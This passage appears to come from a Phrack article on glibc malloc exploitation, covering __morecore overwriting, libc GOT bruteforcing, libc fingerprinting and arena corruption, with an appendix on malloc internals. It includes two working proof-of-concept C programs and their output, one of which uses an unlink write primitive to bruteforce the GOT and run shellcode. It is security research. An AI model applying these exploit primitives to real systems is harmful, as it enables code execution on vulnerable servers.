At this point we see chunk_alloc trying to jump to __morecore

(gdb) x/x $eax
0x4212df80 <__morecore>:   0x41414141

#include <stdio.h>
#include <stdlib.h>

/* some malloc code... */
#define MAX_SMALLBIN         63
#define MAX_SMALLBIN_SIZE   512
#define SMALLBIN_WIDTH        8
#define is_small_request(nb) ((nb) < MAX_SMALLBIN_SIZE - SMALLBIN_WIDTH)
#define smallbin_index(sz)  (((unsigned long)(sz)) >> 3)
#define bin_index(sz)                           \
 (((((unsigned long)(sz)) >> 9) ==    0) ?       (((unsigned long)(sz)) >>  3):\
 ((((unsigned long)(sz)) >> 9) <=    4) ?  56 + (((unsigned long)(sz)) >>  6):\
 ((((unsigned long)(sz)) >> 9) <=   20) ?  91 + (((unsigned long)(sz)) >>  9):\
 ((((unsigned long)(sz)) >> 9) <=   84) ? 110 + (((unsigned long)(sz)) >> 12):\
 ((((unsigned long)(sz)) >> 9) <=  340) ? 119 + (((unsigned long)(sz)) >> 15):\
 ((((unsigned long)(sz)) >> 9) <= 1364) ? 124 + (((unsigned long)(sz)) >> 18):\
                                          126)

#define SIZE_MASK 0x3
#define CHUNK_SIZE 0x200

int main(int argc, char *argv[]){

        unsigned int *chunk,*aux,sz,bk,fd,bin,arena,morecore;
        chunk = (unsigned int*)malloc(CHUNK_SIZE);
        aux = (unsigned int*)malloc(0x0);

        free(chunk);
        printf("(-) lonely chunk was freed, gathering information...\n");

        sz = chunk[-1] & ~SIZE_MASK;
        fd = chunk[0];
        bk = chunk[1];

        if(bk==fd) printf("\t(!) sz = %u - bk = 0x%X - fd = 0x%X\n",sz,bk,fd);
        else printf("\t(X) bk != fd ...\n"),exit(-1);

        bin = is_small_request(sz)? smallbin_index(sz) : bin_index(sz);
        printf("\t(!) the chunk is in bin number %d\n",bin);

        arena = bk-bin*2*sizeof(void*);
        printf("\t(!) &main_arena[0] @ 0x%X\n",arena);

        morecore = arena-32;
        printf("\t(!) __morecore @ 0x%X\n",morecore);

        printf("(-) overwriting __morecore...\n");
        *(unsigned int*)morecore = 0x41414141;

        printf("(-) forcing a call to MORECORE()...\n");
        chunk=(unsigned int*)malloc(CHUNK_SIZE*4);

        return 7;
}
```

This technique works even when the process is loaded in a randomized address space, as the address of the function pointer is gathered in runtime from the targeted process. The mechanism is fully generic, as every process linked to the glibc can be exploited this way.

Also, no bruteforcing is needed, as just one try is enough to exploit the process.

On the other hand, this technique is not longer useful in newer libcs, i.e. 2.2.93, a for the changed suffered by malloc code. A new approach is suggested later to help in exploitation of these libc versions.

Morecore idea was successfully tested on different glibc versions and Linux distributions default installs: Debian 2.2r0, Mandrake 8.1, Mandrake 8.2, Redhat 6.1, Redhat 6.2, Redhat 7.0, Redhat 7.2, Redhat 7.3 and Slackware 2.2.19 (libc-2.2.3.so).

Exploit code using this trick is able to exploit the vulnerable OpenSSL/Apache servers without any hardcoded addresses in at least the above mentioned default distributions.

--] 4.5.3 Libc's GOT bruteforcing

In case the morecore trick doesn't work (we can try, as just requires one try), meaning probably that our target is using a newer libc, we still have the obtained glibc's bin address. We know that above that address is going to be located the glibc's GOT.

We just need to bruteforce upwards until hitting any entry of a going to be called libc function. This bruteforce mechanism may take a while, but not more time that should be needed to bruteforce the main object's GOT (in case we obtained its aproximate location some way).

To speed up the process, the bruteforcing start point should be obtained by adjusting the retrieved bin address with a fixed value. This value should be enough to avoid corrupting the arena to prevent crashing the process. Also, the bruteforcing can be performed using a step size bigger than one. Using a higher step value will need a less tries, but may miss the GOT. The step size should be calculated considering the GOT size and the number of GOT entries accesses between each try (if a higher number of GOT entries are used, it's higher the probability of modifying an entry that's going to be accessed).

After each try, it is important to force the server to perform as many actions as possible, in order to make it call lots of different libc calls so the probability of using the GOT entry that was overwritten is higher.

Note the bruteforcing mechanism may crash the process in several ways, as it is corrupting libc data.

As we obtained the address in runtime, we can be sure we are bruteforcing the right place, even if the target is randomizing the process/lib address space, and that we will end hitting some GOT entry.

In a randomized load address scenario, we'll need to hit a GOT entry before the process crashes to exploit the obtained bin address if there is no relationship between the load addresses in the crashed process (the one we obtained the bin address from) and the new process handling our new requests (i.e. forked processes may inherit father's memory layout in some randomization implementations). However, the bruteforcing mechanism can take into account the already tried offsets once it has obtained the new bin address, as the relative offset between the bin and the GOT is constant.

Moreover, this technique applies to any process linked to the glibc.

Note that we could be able to exploit a server bruteforcing some specific function pointers (i.e. located in some structures such as network output buffers), but these approach is more generic.

The libc's GOT bruteforcing idea was successfully tested in Redhat 8.0,

Redhat 7.2 and Redhat 7.1 default installations.
Exploit code bruteforcing libc's GOT is able to exploit the vulnerable
CVS servers without any hardcoded addresses in at least the above
mentioned default distributions.

--] 4.5.3.1 Proof of concept 6 : Hinted libc's GOT bruteforcing

The following code bruteforces itself. The process tries to find himself,
to finally end in an useless endless loop.

```
#include <stdio.h>
#include <fcntl.h>

#define ADJUST          0x200
#define STEP            0x2

#define LOOP_SC         "\xeb\xfe"
#define LOOP_SZ         2
#define SC_SZ           512
#define OUTPUT_SZ       64 * 1024

#define SOMEOFFSET(x)   11 + (rand() % ((x)-1-11))
#define SOMECHUNKSZ     32 + (rand() % 512)

#define PREV_INUSE      1
#define IS_MMAP         2
#define NON_MAIN_ARENA  4

unsigned long *aa4bmoPrimitive(unsigned long what, unsigned long
                               where,unsigned long sz){
   unsigned long *unlinkMe;
   int i=0;

   if(sz<13) sz = 13;
   unlinkMe=(unsigned long*)malloc(sz*sizeof(unsigned long));
   unlinkMe[i++] = -4;
   unlinkMe[i++] = -4;
   unlinkMe[i++] = -4;
   unlinkMe[i++] = what;
   unlinkMe[i++] = where-8;
   unlinkMe[i++] = -4;
   unlinkMe[i++] = -4;
   unlinkMe[i++] = -4;
   unlinkMe[i++] = what;
   unlinkMe[i++] = where-8;
   for(;i<sz;i++)
      if(i%2)
         unlinkMe[i] = ((-(i-8) * 4) & ~(IS_MMAP|NON_MAIN_ARENA)) | PREV_INUSE;
      else
         unlinkMe[i] = ((-(i-3) * 4) & ~(IS_MMAP|NON_MAIN_ARENA)) | PREV_INUSE;

   free(unlinkMe+SOMEOFFSET(sz));
   return unlinkMe;
}

/* just force some libc function calls between each bruteforcing iteration */
void do_little(void){
   int w,r;
   char buf[256];
   sleep(0);
   w = open("/dev/null",O_WRONLY);
   r = open("/dev/urandom",O_RDONLY);
   read(r,buf,sizeof(buf));
   write(w,buf,sizeof(buf));
   close(r);
   close(w);
   return;
}

int main(int argc, char **argv){
   unsigned long *output,*bin=0;
   unsigned long i=0,sz;
   char *sc,*p;
   unsigned long *start=0;
   printf("\n## HINTED LIBC GOT BRUTEFORCING PoC ##\n\n");

   sc = (char*) malloc(SC_SZ * LOOP_SZ);
   printf("(-) %d bytes shellcode @ %p\n",SC_SZ,sc);
   p = sc;
   for(p=sc;p+LOOP_SZ<sc+SC_SZ;p+=LOOP_SZ)
      memcpy(p,LOOP_SC,LOOP_SZ);


   printf("(-) forcing bin address disclosure... ");
   output = aa4bmoPrimitive(0xbfffffc0,0xbfffffc4,OUTPUT_SZ);
   for(i=0;i<OUTPUT_SZ-1;i++)
      if(output[i] == output[i+1] &&
            ((output[i] & 0xffff0000) != 0xffff0000) ) {
         bin = (unsigned long*)output[i];
         printf("%p\n",bin);
         start = bin - ADJUST;
      }
   if(!bin){
      printf("failed\n");
      return 0;
   }

   if(argv[1]) i = strtoll(argv[1], (char **)NULL,0);
   else        i = 0;

   printf("(-) starting libc GOT bruteforcing @ %p\n",start);
   for(;;i++){
      sz = SOMECHUNKSZ;
      printf("  try #%.2d  writing %p at %p using %6d bytes chunk\n",
             i,sc,start-(i*STEP),s*sizeof(unsigned long));
      aa4bmoPrimitive((unsigned long)sc,(unsigned long)(start-(i*STEP)),sz);
      do_little();
   }

   printf("I'm not here, this is not happening\n");
}
```

Let's see what happens:

```
$ ./got_bf

## HINTED LIBC GOT BRUTEFORCING PoC ##

(-) 512 bytes shellcode @ 0x8049cb0
(-) forcing bin address disclosure... 0x4212b1dc
(-) starting libc GOT bruteforcing @ 0x4212a9dc
  try #00  writing 0x8049cb0 at 0x4212a9dc using   1944 bytes chunk
  try #01  writing 0x8049cb0 at 0x4212a9d4 using    588 bytes chunk
  try #02  writing 0x8049cb0 at 0x4212a9cc using   1148 bytes chunk
  try #03  writing 0x8049cb0 at 0x4212a9c4 using   1072 bytes chunk
  try #04  writing 0x8049cb0 at 0x4212a9bc using    948 bytes chunk
  try #05  writing 0x8049cb0 at 0x4212a9b4 using   1836 bytes chunk
  ...
  try #140  writing 0x8049cb0 at 0x4212a57c using   1416 bytes chunk
  try #141  writing 0x8049cb0 at 0x4212a574 using    152 bytes chunk
  try #142  writing 0x8049cb0 at 0x4212a56c using    332 bytes chunk
Segmentation fault
```

We obtained 142 consecutive tries without crashing using random sized chunks. We run our code again, starting from try number 143 this time, note the program gets the base bruteforcing address again.

```
$ ./got_bf 143

## HINTED LIBC GOT BRUTEFORCING PoC ##

(-) 512 bytes shellcode @ 0x8049cb0
(-) forcing bin address disclosure... 0x4212b1dc
(-) starting libc GOT bruteforcing @ 0x4212a9dc
  try #143  writing 0x8049cb0 at 0x4212a564 using   1944 bytes chunk
  try #144  writing 0x8049cb0 at 0x4212a55c using    588 bytes chunk
  try #145  writing 0x8049cb0 at 0x4212a554 using   1148 bytes chunk
  try #146  writing 0x8049cb0 at 0x4212a54c using   1072 bytes chunk
  try #147  writing 0x8049cb0 at 0x4212a544 using    948 bytes chunk
  try #148  writing 0x8049cb0 at 0x4212a53c using   1836 bytes chunk
  try #149  writing 0x8049cb0 at 0x4212a534 using   1132 bytes chunk
  try #150  writing 0x8049cb0 at 0x4212a52c using   1432 bytes chunk
  try #151  writing 0x8049cb0 at 0x4212a524 using    904 bytes chunk
  try #152  writing 0x8049cb0 at 0x4212a51c using   2144 bytes chunk
  try #153  writing 0x8049cb0 at 0x4212a514 using   2080 bytes chunk
Segmentation fault
```

It crashed much faster... probably we corrupted some libc data, or we have reached the GOT...

```
$ ./got_bf 154

## HINTED LIBC GOT BRUTEFORCING PoC ##

(-) 512 bytes shellcode @ 0x8049cb0
(-) forcing bin address disclosure... 0x4212b1dc
(-) starting libc GOT bruteforcing @ 0x4212a9dc
  try #154  writing 0x8049cb0 at 0x4212a50c using   1944 bytes chunk
Segmentation fault

$ ./got_bf 155

## HINTED LIBC GOT BRUTEFORCING PoC ##

(-) 512 bytes shellcode @ 0x8049cb0
(-) forcing bin address disclosure... 0x4212b1dc
(-) starting libc GOT bruteforcing @ 0x4212a9dc
  try #155  writing 0x8049cb0 at 0x4212a504 using   1944 bytes chunk
  try #156  writing 0x8049cb0 at 0x4212a4fc using    588 bytes chunk
  try #157  writing 0x8049cb0 at 0x4212a4f4 using   1148 bytes chunk
Segmentation fault

$ ./got_bf 158

## HINTED LIBC GOT BRUTEFORCING PoC ##

(-) 512 bytes shellcode @ 0x8049cb0
(-) forcing bin address disclosure... 0x4212b1dc
(-) starting libc GOT bruteforcing @ 0x4212a9dc
  try #158  writing 0x8049cb0 at 0x4212a4ec using   1944 bytes chunk
  ...
  try #179  writing 0x8049cb0 at 0x4212a444 using   1244 bytes chunk
Segmentation fault

$ ./got_bf 180

## HINTED LIBC GOT BRUTEFORCING PoC ##

(-) 512 bytes shellcode @ 0x8049cb0
(-) forcing bin address disclosure... 0x4212b1dc
(-) starting libc GOT bruteforcing @ 0x4212a9dc
  try #180  writing 0x8049cb0 at 0x4212a43c using   1944 bytes chunk
  try #181  writing 0x8049cb0 at 0x4212a434 using    588 bytes chunk
  try #182  writing 0x8049cb0 at 0x4212a42c using   1148 bytes chunk
  try #183  writing 0x8049cb0 at 0x4212a424 using   1072 bytes chunk
Segmentation fault

$ ./got_bf 183

## HINTED LIBC GOT BRUTEFORCING PoC ##

(-) 512 bytes shellcode @ 0x8049cb0
(-) forcing bin address disclosure... 0x4212b1dc
(-) starting libc GOT bruteforcing @ 0x4212a9dc
  try #183  writing 0x8049cb0 at 0x4212a424 using   1944 bytes chunk
  try #184  writing 0x8049cb0 at 0x4212a41c using    588 bytes chunk
  try #185  writing 0x8049cb0 at 0x4212a414 using   1148 bytes chunk
  try #186  writing 0x8049cb0 at 0x4212a40c using   1072 bytes chunk
  try #187  writing 0x8049cb0 at 0x4212a404 using    948 bytes chunk
  try #188  writing 0x8049cb0 at 0x4212a3fc using   1836 bytes chunk
  try #189  writing 0x8049cb0 at 0x4212a3f4 using   1132 bytes chunk
  try #190  writing 0x8049cb0 at 0x4212a3ec using   1432 bytes chunk
```

Finally, the loop shellcode gets executed... 5 crashes were needed, stepping 8 bytes each time. Playing with the STEP and the ADJUST values and the do_little() function will yield different results.

--] 4.5.4 Libc fingerprinting

Having a bin address allows us to recognize the libc version being attacked. We just need to build a database with different libcs from different distributions to match the obtained bin address and bin number. Knowing exactly which is the libc the target process has loaded gives us the exact absolute address of any location within libc, such as: function pointers, internal structures, flags, etc. This information can be abused to build several attacks in different scenarios, i.e. knowing the location of functions and strings allows to easily craft return into libc attacks [14].

Besides, knowing the libc version enables us to know which Linux distribution is running the target host. These could allow further exploitation in case we are not able to exploit the bug (the one we are using to leak the bin address) to execute code.

--] 4.5.5 Arena corruption (top, last remainder and bin modification)

From the previously gathered main_arena address, we know the location of any bin, including the top chunk and the last reminder chunk. Corrupting any of this pointers will completely modify the allocator behavior. Right now, I don't have any code to confirm this, but there are lot of possibilities open for research here, as an attacker might be able to redirect a whole bin into his own supplied input.

--] 4.6 Copying the shellcode 'by hand'

Other trick that allows the attacker to know the exact location of the injected shellcode, is copying the shellcode to a fixed address using the aa4bmo primitive. As we can't write any value, using unaligned writes is needed to create the shellcode in memory, writting 1 or 2 bytes each time. We need to be able to copy the whole shellcode before the server crashes in order to use this technique.

--] 5 Conclusions

malloc based vulnerabilities provide a huge opportunity for fully automated exploitation. The ability to transform the aa4bmo primitive into memory leak primitives allows the attacker to exploit processes without any prior knowledge, even in presence of memory layout randomization schemes.

> [Note by editors: It came to our attention that the described technique might not work for the glibc 2.3 serie.]

--] 6 Thanks

I'd like to thank a lot of people: 8a, beto, gera, zb0, raddy, juliano, kato, javier burroni, fgsch, chipi, MaXX, lck, tomas, lau, nahual, daemon, module, ...
Classifying you takes some time (some 'complex' ppl), so I'll just say thank you for encouraging me to write this article, sharing your ideas, letting me learn a lot from you every day, reviewing the article, implementing the morecore idea for first time, being my friends, asking for torta, not making torta, personal support, coding nights, drinking beer, ysm, roquefort pizza, teletubbie talking, making work very interesting, making the world a happy place to live, making people hate you because of the music...
(you should know which applies for you, do not ask)

--] 7 References

[1] http://www.malloc.de/malloc/ptmalloc2.tar.gz
     ftp://g.oswego.edu/pub/misc/malloc.c
[2] www.phrack.org/phrack/57/p57-0x08
     Vudo - An object superstitiously believed to embody magical power
     Michel "MaXX" Kaempf
[3] www.phrack.org/phrack/57/p57-0x09
     Once upon a free()
     anonymous
[4] http://www.phrack.org/show.php?p=59&a=7
     Advances in format string exploitation
     gera and riq
[5] http://www.coresecurity.com/common/showdoc.php? \
     idx=359&idxseccion=13&idxmenu=32
     About exploits writing
     gera
[6] http://online.securityfocus.com/bid/5363
[7] http://security.e-matters.de/advisories/012003.txt
[8] http://www.openwall.com/advisories/OW-002-netscape-jpeg.txt
     JPEG COM Marker Processing Vulnerability in Netscape Browsers
     Solar Designer
[9] http://lists.insecure.org/lists/bugtraq/2000/Nov/0086.html
     Local root exploit in LBNL traceroute
     Michel "MaXX" Kaempf
[10] http://www.w00w00.org/files/articles/heaptut.txt
     w00w00 on Heap Overflows
     Matt Conover & w00w00 Security Team
[11] http://www.phrack.org/show.php?p=49&a=14
     Smashing The Stack For Fun And Profit
     Aleph One
[12] http://phrack.org/show.php?p=55&a=8
     The Frame Pointer Overwrite
     klog
[13] http://www.phrack.org/show.php?p=59&a=9
     Bypassing PaX ASLR protection
     p59_09@author.phrack.org
[14] http://phrack.org/show.php?p=58&a=4
     The advanced return-into-lib(c) exploits
     Nergal

Appendix I - malloc internal structures overview

This appendix contains a brief overview about some details of malloc inner workings we need to have in mind in order to fully understand most of the techniques explained in this paper.

Free consolidated 'chunks' of memory are maintained mainly (forgetting the top chunk and the last_remainder chunk) in circular double-linked lists, which are initially empty and evolve with the heap layout. The circularity of these lists is very important for us, as we'll see later on.

A 'bin' is a pair of pointers from where these lists hang. There exist 128 (#define NAV 128) bins, which may be 'small' bins or 'big bins'. Small bins contain equally sized chunks, while big bins are composed of not the same size chunks, ordered by decreasing size.

These are the macros used to index into bins depending of its size:

```
#define MAX_SMALLBIN         63
#define MAX_SMALLBIN_SIZE   512
#define SMALLBIN_WIDTH        8
#define is_small_request(nb) ((nb) < MAX_SMALLBIN_SIZE - SMALLBIN_WIDTH)
#define smallbin_index(sz)  (((unsigned long)(sz)) >> 3)
#define bin_index(sz)                                                      \
((((unsigned long)(sz)) >> 9) ==    0) ?       (((unsigned long)(sz)) >>  3):\
 ((((unsigned long)(sz)) >> 9) <=    4) ?  56 + (((unsigned long)(sz)) >>  6):\
 ((((unsigned long)(sz)) >> 9) <=   20) ?  91 + (((unsigned long)(sz)) >>  9):\
 ((((unsigned long)(sz)) >> 9) <=   84) ? 110 + (((unsigned long)(sz)) >> 12):\
 ((((unsigned long)(sz)) >> 9) <=  340) ? 119 + (((unsigned long)(sz)) >> 15):\
 ((((unsigned long)(sz)) >> 9) <= 1364) ? 124 + (((unsigned long)(sz)) >> 18):\
```

126)

From source documentation we know that 'an arena is a configuration of malloc_chunks together with an array of bins. One or more 'heaps' are associated with each arena, except for the 'main_arena', which is associated only with the 'main heap', i.e. the conventional free store obtained with calls to MORECORE()...', which is the one we are interested in.

This is the way an arena looks like...

```
typedef struct _arena {
  mbinptr av[2*NAV + 2];
  struct _arena *next;
  size_t size;
#if THREAD_STATS
  long stat_lock_direct, stat_lock_loop, stat_lock_wait;
#endif
```

'av' is the array where bins are kept.

These are the macros used along the source code to access the bins, we can see the first two bins are never indexed; they refer to the topmost chunk, the last_remainder chunk and a bitvector used to improve seek time, though this is not really important for us.

```
    /* bitvector of nonempty blocks */
#define binblocks(a)      (bin_at(a,0)->size)
    /* The topmost chunk */
#define top(a)            (bin_at(a,0)->fd)
    /* remainder from last split */
#define last_remainder(a) (bin_at(a,1))

#define bin_at(a, i)   BOUNDED_1(_bin_at(a, i))
#define _bin_at(a, i)  ((mbinptr)((char*)&(((a)->av)[2*(i)+2]) - 2*SIZE_SZ))
```

Finally, the main_arena...

```
#define IAV(i) _bin_at(&main_arena, i), _bin_at(&main_arena, i)
static arena main_arena = {
    {
 0, 0,
 IAV(0),   IAV(1),   IAV(2),   IAV(3),   IAV(4),   IAV(5),   IAV(6),   IAV(7),
 IAV(8),   IAV(9),   IAV(10),  IAV(11),  IAV(12),  IAV(13),  IAV(14),  IAV(15),
 IAV(16),  IAV(17),  IAV(18),  IAV(19),  IAV(20),  IAV(21),  IAV(22),  IAV(23),
 IAV(24),  IAV(25),  IAV(26),  IAV(27),  IAV(28),  IAV(29),  IAV(30),  IAV(31),
 IAV(32),  IAV(33),  IAV(34),  IAV(35),  IAV(36),  IAV(37),  IAV(38),  IAV(39),
 IAV(40),  IAV(41),  IAV(42),  IAV(43),  IAV(44),  IAV(45),  IAV(46),  IAV(47),
 IAV(48),  IAV(49),  IAV(50),  IAV(51),  IAV(52),  IAV(53),  IAV(54),  IAV(55),
 IAV(56),  IAV(57),  IAV(58),  IAV(59),  IAV(60),  IAV(61),  IAV(62),  IAV(63),
 IAV(64),  IAV(65),  IAV(66),  IAV(67),  IAV(68),  IAV(69),  IAV(70),  IAV(71),
 IAV(72),  IAV(73),  IAV(74),  IAV(75),  IAV(76),  IAV(77),  IAV(78),  IAV(79),
 IAV(80),  IAV(81),  IAV(82),  IAV(83),  IAV(84),  IAV(85),  IAV(86),  IAV(87),
 IAV(88),  IAV(89),  IAV(90),  IAV(91),  IAV(92),  IAV(93),  IAV(94),  IAV(95),
 IAV(96),  IAV(97),  IAV(98),  IAV(99),  IAV(100), IAV(101), IAV(102), IAV(103),
 IAV(104), IAV(105), IAV(106), IAV(107), IAV(108), IAV(109), IAV(110), IAV(111),
 IAV(112), IAV(113), IAV(114), IAV(115), IAV(116), IAV(117), IAV(118), IAV(119),
 IAV(120), IAV(121), IAV(122), IAV(123), IAV(124), IAV(125), IAV(126), IAV(127)
    },
    &main_arena, /* next */
    0, /* size */
#if THREAD_STATS
    0, 0, 0, /* stat_lock_direct, stat_lock_loop, stat_lock_wait */
#endif
    MUTEX_INITIALIZER /* mutex */
};
```

The main_arena is the place where the allocator stores the 'bins' to which the free chunks are linked depending on they size.

The little graph below resumes all the structures detailed before:

```
<main_arena> @ libc's DATA
```

```
   [bin_n]         (first chunk)
      ptr]  ---->  [<- chunk ->] [<- chunk ->] [<-  fd
                                               [    chunk
      ptr]  ---->  [<- chunk ->] [<- chunk ->] [<-  bk
 [bin_n+1]         (last chunk)

     .
     .
     .

   [bin_X]
      ptr] ---->  [<-  fd
                  [    lonely but interesting chunk
      ptr] ---->  [<-  bk
     .
     .

|=[ EOF ]=----------------------------------------------------------------=|
```

[News] [Paper Feed] [Issues] [Authors] [Archives] [Contact]